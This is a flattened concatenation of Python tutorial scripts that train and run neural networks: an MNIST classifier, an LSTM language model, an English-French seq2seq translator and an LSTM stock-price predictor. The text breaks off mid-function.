net.zero_grad() # set gradients to 0 before loss calculation output = net(X.view(-1, 28*28)) # feed data to the network loss = F.nll_loss(output, y) # calculating the negative log likelihood loss.backward() # back propagation optimizer.step() # attempt to optimize weights to account for loss/gradients print(loss) correct = 0 total = 0 with torch.no_grad(): for data in test: X, y = data output = net(X.view(-1, 28*28)) for index, i in enumerate(output): if torch.argmax(i) == y[index]: correct += 1 total += 1 print("Accuracy:", round(correct / total, 3)) # testing print(torch.argmax(net(X.view(-1, 28*28))[0])) plt.imshow(X[0].view(28, 28)) plt.show() from keras.models import Sequential from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed from keras.layers import Bidirectional def rnn_model(input_dim, cell, num_layers, units, dropout, batch_normalization=True, bidirectional=True): model = Sequential() for i in range(num_layers): if i == 0: # first time, specify input_shape if bidirectional: model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True))) else: model.add(cell(units, input_shape=(None, input_dim), return_sequences=True)) if batch_normalization: model.add(BatchNormalization()) model.add(Dropout(dropout)) model.add(LeakyReLU(alpha=0.1)) else: if bidirectional: model.add(Bidirectional(cell(units, return_sequences=True))) else: model.add(cell(units, return_sequences=True)) if batch_normalization: model.add(BatchNormalization()) model.add(Dropout(dropout)) model.add(LeakyReLU(alpha=0.1)) model.add(TimeDistributed(Dense(input_dim, activation="softmax"))) return model from utils import UNK, text_to_sequence, sequence_to_text from keras.preprocessing.sequence import pad_sequences from keras.layers import LSTM from models import rnn_model from scipy.ndimage.interpolation import shift import numpy as np # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=6, inter_op_parallelism_threads=6, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) INPUT_DIM = 50 test_text = "" test_text += """college or good clerk at university has not pleasant days or used not to have them half a century ago but his position was recognized and the misery was measured can we just make something that is useful for making this happen especially when they are just doing it by""" encoded = np.expand_dims(np.array(text_to_sequence(test_text)), axis=0) encoded = encoded.reshape((-1, encoded.shape[0], encoded.shape[1])) model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False) model.load_weights("results/lm_rnn_v2_6400548.3.h5") # for i in range(10): # predicted_word_int = model.predict_classes(encoded)[0] # print(predicted_word_int, end=',') # word = sequence_to_text(predicted_word_int) # encoded = shift(encoded, -1, cval=predicted_word_int) # print(word, end=' ') print("Fed:") print(encoded) print("Result: predict") print(model.predict(encoded)[0]) print("Result: predict_proba") print(model.predict_proba(encoded)[0]) print("Result: predict_classes") print(model.predict_classes(encoded)[0]) print(sequence_to_text(model.predict_classes(encoded)[0])) print() from models import rnn_model from utils import sequence_to_text, text_to_sequence, get_batches, get_data, get_text, vocab from keras.layers import LSTM from keras.callbacks import ModelCheckpoint import numpy as np import os INPUT_DIM = 50 # OUTPUT_DIM = len(vocab) BATCH_SIZE = 128 # get data text = get_text("data") encoded = np.array(text_to_sequence(text)) print(len(encoded)) # X, y = get_data(encoded, INPUT_DIM, 1) # del text, encoded model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False) model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) model.summary() if not os.path.isdir("results"): os.mkdir("results") checkpointer = ModelCheckpoint("results/lm_rnn_v2_{loss:.1f}.h5", verbose=1) steps_per_epoch = (len(encoded) // 100) // BATCH_SIZE model.fit_generator(get_batches(encoded, BATCH_SIZE, INPUT_DIM), epochs=100, callbacks=[checkpointer], verbose=1, steps_per_epoch=steps_per_epoch) model.save("results/lm_rnn_v2_final.h5") import numpy as np import os import tqdm import inflect from string import punctuation, whitespace from word_forms.word_forms import get_word_forms p = inflect.engine() UNK = "<unk>" vocab = set() add = vocab.add # add unk add(UNK) with open("data/vocab1.txt") as f: for line in f: add(line.strip()) vocab = sorted(vocab) word2int = {w: i for i, w in enumerate(vocab)} int2word = {i: w for i, w in enumerate(vocab)} def update_vocab(word): global vocab global word2int global int2word vocab.add(word) next_int = max(int2word) + 1 word2int[word] = next_int int2word[next_int] = word def save_vocab(_vocab): with open("vocab1.txt", "w") as f: for w in sorted(_vocab): print(w, file=f) def text_to_sequence(text): return [ word2int[word] for word in text.split() ] def sequence_to_text(seq): return ' '.join([ int2word[i] for i in seq ]) def get_batches(arr, batch_size, n_steps): '''Create a generator that returns batches of size batch_size x n_steps from arr. Arguments --------- arr: Array you want to make batches from batch_size: Batch size, the number of sequences per batch n_steps: Number of sequence steps per batch ''' chars_per_batch = batch_size * n_steps n_batches = len(arr) // chars_per_batch arr = arr[:chars_per_batch * n_batches] arr = arr.reshape((batch_size, -1)) while True: for n in range(0, arr.shape[1], n_steps): x = arr[:, n: n+n_steps] y_temp = arr[:, n+1:n+n_steps+1] y = np.zeros(x.shape, dtype=y_temp.dtype) y[:, :y_temp.shape[1]] = y_temp yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1]) def get_data(arr, n_seq, look_forward): n_samples = len(arr) // n_seq X = np.zeros((n_seq, n_samples)) Y = np.zeros((n_seq, n_samples)) for index, i in enumerate(range(0, n_samples*n_seq, n_seq)): x = arr[i:i+n_seq] y = arr[i+look_forward:i+n_seq+look_forward] if len(x) != n_seq or len(y) != n_seq: break X[:, index] = x Y[:, index] = y return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0]) def get_text(path, files=["carroll-alice.txt", "text.txt", "text8.txt"]): global vocab global word2int global int2word text = "" file = files[0] for file in tqdm.tqdm(files, "Loading data"): file = os.path.join(path, file) with open(file, encoding="utf8") as f: text += f.read().lower() punc = set(punctuation) text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ]) for ws in whitespace: text = text.replace(ws, " ") text = text.split() co = 0 vocab_set = set(vocab) for i in tqdm.tqdm(range(len(text)), "Normalizing words"): # convert digits to words # (i.e '7' to 'seven') if text[i].isdigit(): text[i] = p.number_to_words(text[i]) # compare_nouns # compare_adjs # compare_verbs if text[i] not in vocab_set: text[i] = UNK co += 1 # update vocab, intersection of words print("vocab length:", len(vocab)) vocab = vocab_set & set(text) print("vocab length after update:", len(vocab)) save_vocab(vocab) print("Number of unks:", co) return ' '.join(text) from train import create_model, get_data, split_data, LSTM_UNITS, np, to_categorical, Tokenizer, pad_sequences, pickle def tokenize(x, tokenizer=None): """Tokenize x :param x: List of sentences/strings to be tokenized :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" if tokenizer: t = tokenizer else: t = Tokenizer() t.fit_on_texts(x) return t.texts_to_sequences(x), t def predict_sequence(enc, dec, source, n_steps, docoder_num_tokens): """Generate target given source sequence, this function can be used after the model is trained to generate a target sequence given a source sequence.""" # encode state = enc.predict(source) # start of sequence input target_seq = np.zeros((1, 1, n_steps)) # collect predictions output = [] for t in range(n_steps): # predict next char yhat, h, c = dec.predict([target_seq] + state) # store predictions y = yhat[0, 0, :] sampled_token_index = np.argmax(y) output.append(sampled_token_index) # update state state = [h, c] # update target sequence target_seq = np.zeros((1, 1, n_steps)) target_seq[0, 0] = to_categorical(sampled_token_index, num_classes=n_steps) return np.array(output) def logits_to_text(logits, index_to_words): """ Turn logits from a neural network into text using the tokenizer :param logits: Logits from a neural network :param tokenizer: Keras Tokenizer fit on the labels :return: String that represents the text of the logits """ return ' '.join([index_to_words[prediction] for prediction in logits]) # load the data X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt") X_tk = pickle.load(open("X_tk.pickle", "rb")) y_tk = pickle.load(open("y_tk.pickle", "rb")) model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS) model.load_weights("results/eng_fra_v1_17568.086.h5") while True: text = input("> ") tokenized = np.array(tokenize([text], tokenizer=X_tk)[0]) print(tokenized.shape) X = pad_sequences(tokenized, maxlen=source_sequence_length, padding="post") X = X.reshape((1, 1, X.shape[-1])) print(X.shape) # X = to_categorical(X, num_classes=len(X_tk.word_index) + 1) print(X.shape) sequence = predict_sequence(enc, dec, X, target_sequence_length, source_sequence_length) result = logits_to_text(sequence, y_tk.index_word) print(result) from tensorflow.keras.models import Model from tensorflow.keras.layers import Input, LSTM, GRU, Dense, Embedding, Activation, Dropout, Sequential, RepeatVector from tensorflow.keras.layers import TimeDistributed from tensorflow.keras.preprocessing.text import Tokenizer from tensorflow.keras.preprocessing.sequence import pad_sequences from tensorflow.keras.utils import to_categorical, plot_model from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard import numpy as np import matplotlib.pyplot as plt import os import pickle # hyper parameters BATCH_SIZE = 32 EPOCHS = 10 LSTM_UNITS = 128 def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size): model = Sequential() model.add(LSTM(LSTM_UNITS), input_shape=input_shape[1:]) model.add(RepeatVector(output_sequence_length)) model.add(LSTM(LSTM_UNITS), return_sequences=True) model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax"))) model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"]) return model def create_model(num_encoder_tokens, num_decoder_tokens, latent_dim): # define an input sequence encoder_inputs = Input(shape=(None, num_encoder_tokens)) encoder = LSTM(latent_dim, return_state=True) # define the encoder output encoder_outputs, state_h, state_c = encoder(encoder_inputs) encoder_states = [state_h, state_c] # encoder inference model encoder_model = Model(encoder_inputs, encoder_states) # set up the decoder now decoder_inputs = Input(shape=(None, num_decoder_tokens)) decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True) decoder_outputs, _, _ = decoder_lstm(decoder_inputs, initial_state=encoder_states) decoder_dense = Dense(num_decoder_tokens, activation="softmax") decoder_outputs = decoder_dense(decoder_outputs) # decoder inference model decoder_state_input_h = Input(shape=(latent_dim,)) decoder_state_input_c = Input(shape=(latent_dim,)) decoder_state_inputs = [decoder_state_input_h, decoder_state_input_c] model = Model([encoder_inputs, decoder_inputs], decoder_outputs) decoder_outputs, state_h, state_c = decoder_lstm(decoder_inputs, initial_state=decoder_state_inputs) decoder_states = [state_h, state_c] decoder_model = Model([decoder_inputs] + decoder_state_inputs, [decoder_outputs] + decoder_states) return model, encoder_model, decoder_model def get_batches(X, y, X_tk, y_tk, source_sequence_length, target_sequence_length, batch_size=BATCH_SIZE): # get total number of words in X num_encoder_tokens = len(X_tk.word_index) + 1 # get max number of words in all sentences in y num_decoder_tokens = len(y_tk.word_index) + 1 while True: for j in range(0, len(X), batch_size): encoder_input_data = X[j: j+batch_size] decoder_input_data = y[j: j+batch_size] # redefine batch size # it may differ (in last batch of dataset) batch_size = encoder_input_data.shape[0] # one-hot everything # decoder_target_data = np.zeros((batch_size, num_decoder_tokens, target_sequence_length), dtype=np.uint8) # encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens), dtype=np.uint8) # decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens), dtype=np.uint8) encoder_data = np.expand_dims(encoder_input_data, axis=1) decoder_data = np.expand_dims(decoder_input_data, axis=1) # for i, sequence in enumerate(decoder_input_data): # for t, word_index in enumerate(sequence): # # skip the first # if t > 0: # decoder_target_data[i, t-1, word_index] = 1 # decoder_data[i, t, word_index] = 1 # for i, sequence in enumerate(encoder_input_data): # for t, word_index in enumerate(sequence): # encoder_data[i, t, word_index] = 1 yield ([encoder_data, decoder_data], decoder_input_data) def get_data(file): X = [] y = [] # loading the data for line in open(file, encoding="utf-8"): if "\t" not in line: continue # split by tab line = line.strip().split("\t") input = line[0] output = line[1] output = f"{output} <eos>" output_sentence_input = f"<sos> {output}" X.append(input) y.append(output) # tokenize data X_tk = Tokenizer() X_tk.fit_on_texts(X) X = X_tk.texts_to_sequences(X) y_tk = Tokenizer() y_tk.fit_on_texts(y) y = y_tk.texts_to_sequences(y) # define the max sequence length for X source_sequence_length = max(len(x) for x in X) # define the max sequence length for y target_sequence_length = max(len(y_) for y_ in y) # padding sequences X = pad_sequences(X, maxlen=source_sequence_length, padding="post") y = pad_sequences(y, maxlen=target_sequence_length, padding="post") return X, y, X_tk, y_tk, source_sequence_length, target_sequence_length def shuffle_data(X, y): """ Shuffles X & y and preserving their pair order """ state = np.random.get_state() np.random.shuffle(X) np.random.set_state(state) np.random.shuffle(y) return X, y def split_data(X, y, train_split_rate=0.2): # shuffle first X, y = shuffle_data(X, y) training_samples = round(len(X) * train_split_rate) return X[:training_samples], y[:training_samples], X[training_samples:], y[training_samples:] if __name__ == "__main__": # load the data X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt") # save tokenizers pickle.dump(X_tk, open("X_tk.pickle", "wb")) pickle.dump(y_tk, open("y_tk.pickle", "wb")) # shuffle & split data X_train, y_train, X_test, y_test = split_data(X, y) # construct the models model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS) plot_model(model, to_file="model.png") plot_model(enc, to_file="enc.png") plot_model(dec, to_file="dec.png") model.summary() model.compile(optimizer="adam", loss="categorical_crossentropy", metrics=["accuracy"]) if not os.path.isdir("results"): os.mkdir("results") checkpointer = ModelCheckpoint("results/eng_fra_v1_{val_loss:.3f}.h5", save_best_only=True, verbose=2) # train the model model.fit_generator(get_batches(X_train, y_train, X_tk, y_tk, source_sequence_length, target_sequence_length), validation_data=get_batches(X_test, y_test, X_tk, y_tk, source_sequence_length, target_sequence_length), epochs=EPOCHS, steps_per_epoch=(len(X_train) // BATCH_SIZE), validation_steps=(len(X_test) // BATCH_SIZE), callbacks=[checkpointer]) print("[+] Model trained.") model.save("results/eng_fra_v1.h5") print("[+] Model saved.") from tensorflow.keras.preprocessing.text import Tokenizer from tensorflow.keras.preprocessing.sequence import pad_sequences from tensorflow.keras.models import Model, Sequential from tensorflow.keras.layers import GRU, Input, Dense, TimeDistributed, Activation, RepeatVector, Bidirectional, Flatten from tensorflow.keras.layers import Dropout, LSTM from tensorflow.keras.optimizers import Adam from tensorflow.keras.losses import sparse_categorical_crossentropy import collections import numpy as np LSTM_UNITS = 128 def get_data(file): X = [] y = [] # loading the data for line in open(file, encoding="utf-8"): if "\t" not in line: continue # split by tab line = line.strip().split("\t") input = line[0] output = line[1] X.append(input) y.append(output) return X, y def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size): model = Sequential() model.add(LSTM(LSTM_UNITS, input_shape=input_shape[1:])) model.add(RepeatVector(output_sequence_length)) model.add(LSTM(LSTM_UNITS, return_sequences=True)) model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax"))) model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"]) return model def tokenize(x): """ Tokenize x :param x: List of sentences/strings to be tokenized :return: Tuple of (tokenized x data, tokenizer used to tokenize x) """ # TODO: Implement t = Tokenizer() t.fit_on_texts(x) return t.texts_to_sequences(x), t def pad(x, length=None): """ Pad x :param x: List of sequences. :param length: Length to pad the sequence to. If None, use length of longest sequence in x. :return: Padded numpy array of sequences """ # TODO: Implement sequences = pad_sequences(x, maxlen=length, padding='post') return sequences def preprocess(x, y): """ Preprocess x and y :param x: Feature List of sentences :param y: Label List of sentences :return: Tuple of (Preprocessed x, Preprocessed y, x tokenizer, y tokenizer) """ preprocess_x, x_tk = tokenize(x) preprocess_y, y_tk = tokenize(y) preprocess_x = pad(preprocess_x) preprocess_y = pad(preprocess_y) # Keras's sparse_categorical_crossentropy function requires the labels to be in 3 dimensions preprocess_y = preprocess_y.reshape(*preprocess_y.shape, 1) return preprocess_x, preprocess_y, x_tk, y_tk def logits_to_text(logits, tokenizer): """ Turn logits from a neural network into text using the tokenizer :param logits: Logits from a neural network :param tokenizer: Keras Tokenizer fit on the labels :return: String that represents the text of the logits """ index_to_words = {id: word for word, id in tokenizer.word_index.items()} index_to_words[0] = '<PAD>' return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) if __name__ == "__main__": X, y = get_data("ara.txt") english_words = [word for sentence in X for word in sentence.split()] french_words = [word for sentence in y for word in sentence.split()] english_words_counter = collections.Counter(english_words) french_words_counter = collections.Counter(french_words) print('{} English words.'.format(len(english_words))) print('{} unique English words.'.format(len(english_words_counter))) print('10 Most common words in the English dataset:') print('"' + '" "'.join(list(zip(*english_words_counter.most_common(10)))[0]) + '"') print() print('{} French words.'.format(len(french_words))) print('{} unique French words.'.format(len(french_words_counter))) print('10 Most common words in the French dataset:') print('"' + '" "'.join(list(zip(*french_words_counter.most_common(10)))[0]) + '"') # Tokenize Example output text_sentences = [ 'The quick brown fox jumps over the lazy dog .', 'By Jove , my quick study of lexicography won a prize .', 'This is a short sentence .'] text_tokenized, text_tokenizer = tokenize(text_sentences) print(text_tokenizer.word_index) print() for sample_i, (sent, token_sent) in enumerate(zip(text_sentences, text_tokenized)): print('Sequence {} in x'.format(sample_i + 1)) print(' Input: {}'.format(sent)) print(' Output: {}'.format(token_sent)) # Pad Tokenized output test_pad = pad(text_tokenized) for sample_i, (token_sent, pad_sent) in enumerate(zip(text_tokenized, test_pad)): print('Sequence {} in x'.format(sample_i + 1)) print(' Input: {}'.format(np.array(token_sent))) print(' Output: {}'.format(pad_sent)) preproc_english_sentences, preproc_french_sentences, english_tokenizer, french_tokenizer =\ preprocess(X, y) max_english_sequence_length = preproc_english_sentences.shape[1] max_french_sequence_length = preproc_french_sentences.shape[1] english_vocab_size = len(english_tokenizer.word_index) french_vocab_size = len(french_tokenizer.word_index) print('Data Preprocessed') print("Max English sentence length:", max_english_sequence_length) print("Max French sentence length:", max_french_sequence_length) print("English vocabulary size:", english_vocab_size) print("French vocabulary size:", french_vocab_size) tmp_x = pad(preproc_english_sentences, preproc_french_sentences.shape[1]) tmp_x = tmp_x.reshape((-1, preproc_french_sentences.shape[-2], 1)) print("tmp_x.shape:", tmp_x.shape) print("preproc_french_sentences.shape:", preproc_french_sentences.shape) # Train the neural network # increased passed index length by 1 to avoid index error encdec_rnn_model = create_encdec_model( tmp_x.shape, preproc_french_sentences.shape[1], len(english_tokenizer.word_index)+1, len(french_tokenizer.word_index)+1) print(encdec_rnn_model.summary()) # reduced batch size encdec_rnn_model.fit(tmp_x, preproc_french_sentences, batch_size=256, epochs=3, validation_split=0.2) # Print prediction(s) print(logits_to_text(encdec_rnn_model.predict(tmp_x[1].reshape((1, tmp_x[1].shape[0], 1, )))[0], french_tokenizer)) print("Original text and translation:") print(X[1]) print(y[1]) # OPTIONAL: Train and Print prediction(s) print("="*50) # Print prediction(s) print(logits_to_text(encdec_rnn_model.predict(tmp_x[10].reshape((1, tmp_x[1].shape[0], 1, ))[0]), french_tokenizer)) print("Original text and translation:") print(X[10]) print(y[10]) # OPTIONAL: Train and Print prediction(s) from tensorflow.keras.layers import LSTM, Dense, Dropout from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard from sklearn.metrics import mean_absolute_error, mean_squared_error, accuracy_score import os import time import glob import numpy as np import pandas as pd import matplotlib.pyplot as plt from utils import classify, shift, create_model, load_data class PricePrediction: """A Class utility to train and predict price of stocks/cryptocurrencies/trades using keras model""" def __init__(self, ticker_name, **kwargs): """ :param ticker_name (str): ticker name, e.g. aapl, nflx, etc. :param n_steps (int): sequence length used to predict, default is 60 :param price_column (str): the name of column that contains price predicted, default is 'adjclose' :param feature_columns (list): a list of feature column names used to train the model, default is ['adjclose', 'volume', 'open', 'high', 'low'] :param target_column (str): target column name, default is 'future' :param lookup_step (int): the future lookup step to predict, default is 1 (e.g. next day) :param shuffle (bool): whether to shuffle the dataset, default is True :param verbose (int): verbosity level, default is 1 ========================================== Model parameters :param n_layers (int): number of recurrent neural network layers, default is 3 :param cell (keras.layers.RNN): RNN cell used to train keras model, default is LSTM :param units (int): number of units of cell, default is 256 :param dropout (float): dropout rate ( from 0 to 1 ), default is 0.3 ========================================== Training parameters :param batch_size (int): number of samples per gradient update, default is 64 :param epochs (int): number of epochs, default is 100 :param optimizer (str, keras.optimizers.Optimizer): optimizer used to train, default is 'adam' :param loss (str, function): loss function used to minimize during training, default is 'mae' :param test_size (float): test size ratio from 0 to 1, default is 0.15 """ self.ticker_name = ticker_name self.n_steps = kwargs.get("n_steps", 60) self.price_column = kwargs.get("price_column", 'adjclose') self.feature_columns = kwargs.get("feature_columns", ['adjclose', 'volume', 'open', 'high', 'low']) self.target_column = kwargs.get("target_column", "future") self.lookup_step = kwargs.get("lookup_step", 1) self.shuffle = kwargs.get("shuffle", True) self.verbose = kwargs.get("verbose", 1) self.n_layers = kwargs.get("n_layers", 3) self.cell = kwargs.get("cell", LSTM) self.units = kwargs.get("units", 256) self.dropout = kwargs.get("dropout", 0.3) self.batch_size = kwargs.get("batch_size", 64) self.epochs = kwargs.get("epochs", 100) self.optimizer = kwargs.get("optimizer", "adam") self.loss = kwargs.get("loss", "mae") self.test_size = kwargs.get("test_size", 0.15) # create unique model name self._update_model_name() # runtime attributes self.model_trained = False self.data_loaded = False self.model_created = False # test price values self.test_prices = None # predicted price values for the test set self.y_pred = None # prices converted to buy/sell classes self.classified_y_true = None # predicted prices converted to buy/sell classes self.classified_y_pred = None # most recent price self.last_price = None # make folders if does not exist if not os.path.isdir("results"): os.mkdir("results") if not os.path.isdir("logs"): os.mkdir("logs") if not os.path.isdir("data"): os.mkdir("data") def create_model(self): """Construct and compile the keras model""" self.model = create_model(input_length=self.n_steps, units=self.units, cell=self.cell, dropout=self.dropout, n_layers=self.n_layers, loss=self.loss, optimizer=self.optimizer) self.model_created = True if self.verbose > 0: print("[+] Model created") def train(self, override=False): """Train the keras model using self.checkpointer and self.tensorboard as keras callbacks. If model created already trained, this method will load the weights instead of training from scratch. Note that this method will create the model and load data if not called before.""" # if model isn't created yet, create it if not self.model_created: self.create_model() # if data isn't loaded yet, load it if not self.data_loaded: self.load_data() # if the model already exists and trained, just load the weights and return # but if override is True, then just skip loading weights if not override: model_name = self._model_exists() if model_name: self.model.load_weights(model_name) self.model_trained = True if self.verbose > 0: print("[*] Model weights loaded") return if not os.path.isdir("results"): os.mkdir("results") if not os.path.isdir("logs"): os.mkdir("logs") model_filename = self._get_model_filename() self.checkpointer = ModelCheckpoint(model_filename, save_best_only=True, verbose=1) self.tensorboard = TensorBoard(log_dir=f"logs\{self.model_name}") self.history = self.model.fit(self.X_train, self.y_train, batch_size=self.batch_size, epochs=self.epochs, validation_data=(self.X_test, self.y_test), callbacks=[self.checkpointer, self.tensorboard], verbose=1) self.model_trained = True if self.verbose > 0: print("[+] Model trained") def predict(self, classify=False): """Predicts next price for the step self.lookup_step. when classify is True, returns 0 for sell and 1 for buy""" if not self.model_trained: raise RuntimeError("Model is not trained yet, call model.train() first.") # reshape to fit the model input last_sequence = self.last_sequence.reshape((self.last_sequence.shape[1], self.last_sequence.shape[0])) # expand dimension last_sequence = np.expand_dims(last_sequence, axis=0) predicted_price = self.column_scaler[self.price_column].inverse_transform(self.model.predict(last_sequence))[0][0] if classify: last_price = self.get_last_price() return 1 if last_price < predicted_price else 0 else: return predicted_price def load_data(self): """Loads and preprocess data""" filename, exists = self._df_exists() if exists: # if the updated dataframe already exists in disk, load it self.ticker = pd.read_csv(filename) ticker = self.ticker if self.verbose > 0: print("[*] Dataframe loaded from disk") else: ticker = self.ticker_name result = load_data(ticker,n_steps=self.n_steps, lookup_step=self.lookup_step, shuffle=self.shuffle, feature_columns=self.feature_columns, price_column=self.price_column, test_size=self.test_size) # extract data self.df = result['df'] self.X_train = result['X_train'] self.X_test = result['X_test'] self.y_train = result['y_train'] self.y_test = result['y_test'] self.column_scaler = result['column_scaler'] self.last_sequence = result['last_sequence'] if self.shuffle: self.unshuffled_X_test = result['unshuffled_X_test'] self.unshuffled_y_test = result['unshuffled_y_test'] else: self.unshuffled_X_test = self.X_test self.unshuffled_y_test = self.y_test self.original_X_test = self.unshuffled_X_test.reshape((self.unshuffled_X_test.shape[0], self.unshuffled_X_test.shape[2], -1)) self.data_loaded = True if self.verbose > 0: print("[+] Data loaded") # save the dataframe to disk self.save_data() def get_last_price(self): """Returns the last price ( i.e the most recent price )""" if not self.last_price: self.last_price = float(self.df[self.price_column].tail(1)) return self.last_price def get_test_prices(self): """Returns test prices. Note that this function won't return the whole sequences, instead, it'll return only the last value of each sequence""" if self.test_prices is None: current = np.squeeze(self.column_scaler[self.price_column].inverse_transform([[ v[-1][0] for v in self.original_X_test ]])) future = np.squeeze(self.column_scaler[self.price_column].inverse_transform(np.expand_dims(self.unshuffled_y_test, axis=0))) self.test_prices = np.array(list(current) + [future[-1]]) return self.test_prices def get_y_pred(self): """Get predicted values of the testing set of sequences ( y_pred )""" if not self.model_trained: raise RuntimeError("Model is not trained yet, call model.train() first.") if self.y_pred is None: self.y_pred = np.squeeze(self.column_scaler[self.price_column].inverse_transform(self.model.predict(self.unshuffled_X_test))) return self.y_pred def get_y_true(self): """Returns original y testing values ( y_true )""" test_prices = self.get_test_prices() return test_prices[1:] def _get_shifted_y_true(self): """Returns original y testing values shifted by -1. This function is useful for converting to a classification problem""" test_prices = self.get_test_prices() return test_prices[:-1] def _calc_classified_prices(self): """Convert regression predictions to a classification predictions ( buy or sell ) and set results to self.classified_y_pred for predictions and self.classified_y_true for true prices""" if self.classified_y_true is None or self.classified_y_pred is None: current_prices = self._get_shifted_y_true() future_prices = self.get_y_true() predicted_prices = self.get_y_pred() self.classified_y_true = list(map(classify, current_prices, future_prices)) self.classified_y_pred = list(map(classify, current_prices, predicted_prices)) # some metrics def get_MAE(self): """Calculates the Mean-Absolute-Error metric of the test set""" if not self.model_trained: raise RuntimeError("Model is not trained yet, call model.train() first.") y_true = self.get_y_true() y_pred = self.get_y_pred() return mean_absolute_error(y_true, y_pred) def get_MSE(self): """Calculates the Mean-Squared-Error metric of the test set""" if not self.model_trained: raise RuntimeError("Model is not trained yet, call model.train() first.") y_true = self.get_y_true() y_pred = self.get_y_pred() return mean_squared_error(y_true, y_pred) def get_accuracy(self): """Calculates the accuracy after adding classification approach (buy/sell)""" if not self.model_trained: raise RuntimeError("Model is not trained yet, call model.train() first.") self._calc_classified_prices() return accuracy_score(self.classified_y_true, self.classified_y_pred) def plot_test_set(self): """Plots test data""" future_prices = self.get_y_true() predicted_prices = self.get_y_pred() plt.plot(future_prices, c='b') plt.plot(predicted_prices, c='r') plt.xlabel("Days") plt.ylabel("Price") plt.legend(["Actual Price", "Predicted Price"]) plt.show() def save_data(self): """Saves the updated dataframe if it does not exist""" filename, exists = self._df_exists() if not exists: self.df.to_csv(filename) if self.verbose > 0: print("[+] Dataframe saved") def _update_model_name(self): stock = self.ticker_name.replace(" ", "_") feature_columns_str = ''.join([ c[0] for c in self.feature_columns ]) time_now = time.strftime("%Y-%m-%d") self.model_name = f"{time_now}_{stock}-{feature_columns_str}-loss-{self.loss}-{self.cell.__name__}-seq-{self.n_steps}-step-{self.lookup_step}-layers-{self.n_layers}-units-{self.units}" def _get_df_name(self): """Returns the updated dataframe name""" time_now = time.strftime("%Y-%m-%d") return f"data/{self.ticker_name}_{time_now}.csv" def _df_exists(self): """Check if the updated dataframe exists in disk, returns a tuple contains (filename, file_exists)""" filename = self._get_df_name() return filename, os.path.isfile(filename) def _get_model_filename(self): """Returns the relative path of this model name with h5 extension""" return f"results/{self.model_name}.h5" def _model_exists(self): """Checks if model already exists in disk, returns the filename, returns None otherwise""" filename = self._get_model_filename() return filename if os.path.isfile(filename) else None # uncomment below to use CPU instead of GPU # import os # os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # import tensorflow as tf # config = tf.ConfigProto(intra_op_parallelism_threads=4, # inter_op_parallelism_threads=4, # allow_soft_placement=True, # device_count = {'CPU' : 1, # 'GPU' : 0} # ) from tensorflow.keras.layers import GRU, LSTM from price_prediction import PricePrediction ticker = "AAPL" p = PricePrediction(ticker, feature_columns=['adjclose', 'volume', 'open', 'high', 'low'], epochs=700, cell=LSTM, optimizer="rmsprop", n_layers=3, units=256, loss="mse", shuffle=True, dropout=0.4) p.train(True) print(f"The next predicted price for {ticker} is {p.predict()}") buy_sell = p.predict(classify=True) print(f"you should {'sell' if buy_sell == 0 else 'buy'}.") print("Mean Absolute Error:", p.get_MAE()) print("Mean Squared Error:", p.get_MSE()) print(f"Accuracy: {p.get_accuracy()*100:.3f}%") p.plot_test_set() from tensorflow.keras.models import Sequential from tensorflow.keras.layers import LSTM, Dense, Dropout from sklearn import preprocessing from yahoo_fin import stock_info as si from collections import deque import pandas as pd import numpy as np import random def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3, loss="mean_absolute_error", optimizer="rmsprop"): model = Sequential() for i in range(n_layers): if i == 0: # first layer model.add(cell(units, return_sequences=True, input_shape=(None, input_length))) model.add(Dropout(dropout)) elif i == n_layers -1: # last layer model.add(cell(units, return_sequences=False)) model.add(Dropout(dropout)) else: # middle layers model.add(cell(units, return_sequences=True)) model.add(Dropout(dropout)) model.add(Dense(1, activation="linear")) model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer) return model def load_data(ticker, n_steps=60, scale=True, split=True, balance=False, shuffle=True, lookup_step=1, test_size=0.15, price_column='Price', feature_columns=['Price'], target_column="future", buy_sell=False): """Loads data from yahoo finance, if the ticker is a pd Dataframe, it'll use it instead""" if isinstance(ticker, str): df = si.get_data(ticker) elif isinstance(ticker, pd.DataFrame): df = ticker else: raise TypeError("ticker can be either a str, or a pd.DataFrame instance") result = {} result['df'] = df.copy() # make sure that columns passed is in the dataframe for col in feature_columns: assert col in df.columns column_scaler = {} if scale: # scale the data ( from 0 to 1 ) for column in feature_columns: scaler = preprocessing.MinMaxScaler() df[column] = 